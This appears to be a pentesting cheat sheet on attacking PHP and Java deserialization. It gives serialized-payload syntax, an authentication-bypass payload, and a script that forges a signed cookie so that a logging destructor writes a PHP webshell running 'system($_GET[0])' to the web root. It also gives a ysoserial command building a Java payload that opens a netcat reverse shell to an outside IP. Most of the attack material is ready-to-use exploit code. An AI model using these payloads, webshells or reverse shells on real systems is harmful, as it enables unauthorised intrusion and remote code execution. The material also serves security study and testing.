Serialization Attacks
Attacking serialization/deserialization routines
PHP
Overview
Look for these functions to trigger:
__wakeup()when the payload is unserialized.__destruct()when the payload is deleted.__toString()when the payload is converted to a string.__construct()called upon object creation
Craft the serialized payload with the following syntax
Null
N;
Boolean
b:1;
b:0;
Integer
i:685230;
i:-685230;
Floating point
d:685230.15;
d:INF;
d:-INF;
d:NAN;
String
s:5:"apple";
s:6:"A to Z";
Associative array
a:4:{i:0;b:1;i:1;N;i:2;d:-421000000;i:3;s:6:"A to Z";}
a:2:{i:42;b:1;s:6:"A to Z";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}
Object
O:8:"stdClass":2:{s:4:"John";d:3.14;s:4:"Jane";d:2.718;}
Reference object
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;} // value of guess references the 2nd item in the array, so it will be the same value as secretCode
Examples
<?php
$data = unserialize($_COOKIE['auth']);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}Payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}Because true == "str" is true.
<?php
class ObjectExample
{
var $guess;
var $secretCode;
}
$obj = unserialize($_GET['input']);
if($obj) {
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "Win";
}
}
?>Payload:
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}R:2 means reference the value of the 2nd item in the array. In this case the 2nd item in the array is secretCode, so guess and secretCode will always be equal.
// index.php
...
public static function detokenize($token) {
list($userdata, $usersig) = explode(\"--\",$token,2);
$user = NULL;
if ($usersig !== sign($userdata)){
header(\"Content-Type: application\/json;\");
respond_with(Array(\"error\" => \"Invalid authentication token\"));
} else {
$user = unserialize(base64_decode(urldecode($userdata)));
}
return $user;
}
...//file.php
<?php
class File {
public $owner,$uuid, $content;
public $logfile = "/var/www/logs/application.log";
function __destruct() {
// Logging access
$fd = fopen($this->logfile, 'a');
fwrite($fd, $_GET['action'].":".$this->uuid.' by '.$this->owner."\n");
fclose($fd);
}
[...]The code in index.php insecurely calls unserialize on the token which is passed in a cookie.
The File object in file.php has a __destruct function which writes to a file.
We can craft a payload such that:
The cookie deserializes to a
FileobjectSet
$logfileto a path a public folderSet the contents of
$this->uuidand$this->ownerto construct a valid PHP webshell
<?php
define('KEY', "ooghie1Z Fae8aish OhT3fie6 Gae2aiza");
function sign($data) {
return hash_hmac('md5', $data, KEY);
}
function tokenize($user) {
$token = urlencode(base64_encode(serialize($user)));
$token.= "--".sign($token);
return $token;
}
class File {
//fwrite($fd, $_GET['action'].":".$this->uuid.' by '.$this->owner."");
public $uuid = '<?php echo system($_GET[0]) ?>';
public $owner = "";
public $logfile = "/var/www/pwn.php";
}
echo tokenize(new File());
?>Java
Overview
Look for readObject() function being called which takes in user data, and deserializes it.
To gain code execution, gadgets need to be found in the libraries loaded by the application. These libraries are not directly vulnerable, but they allow the exploitation of an application using readObject and loading them. Tools like ysoserial can help generate payloads from these gadgets.
To find where serialized objects are being passed to the server, a good indicator is the string rO0, which is the base64 encoded version of \xac\xed\x00that are the starting characters of a serialized object
Examples
In this example application, once we login, we see that the cookie starts with rO0, which means it could be a serialized java object being passes to the backend

We can craft a payload using ysoserial , convert it to base64, and paste it in the cookie value which deserializes the payload
$ java \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED\
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED\
--add-opens=java.base/sun.reflect.annotation=ALL-UNNAMED\
-jar ./ysoserial-all.jar Spring1 'nc -e /bin/sh 10.10.1.1 4242' > payload
$ cat payload | base64 -w0Last updated